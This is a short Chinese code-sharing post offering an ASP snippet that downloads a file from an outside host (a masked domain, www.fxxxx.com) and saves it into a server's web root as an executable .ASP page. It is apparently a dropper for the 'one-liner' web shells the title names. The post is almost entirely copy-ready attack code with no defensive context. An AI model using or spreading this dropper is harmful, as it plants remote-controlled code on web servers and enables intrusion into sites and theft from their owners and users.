asp xmlhttp下载一句话

asp中通过xmlhttp下载一句话代码，需要的朋友可以参考下
-
分享一下
在3est活动中学习的godlong的
复制代码 代码如下:
<%
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.fxxxx.com/1.txt",0 '下载文件的地址
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "E:\WWWROOT\fuck1.ASP",2
%>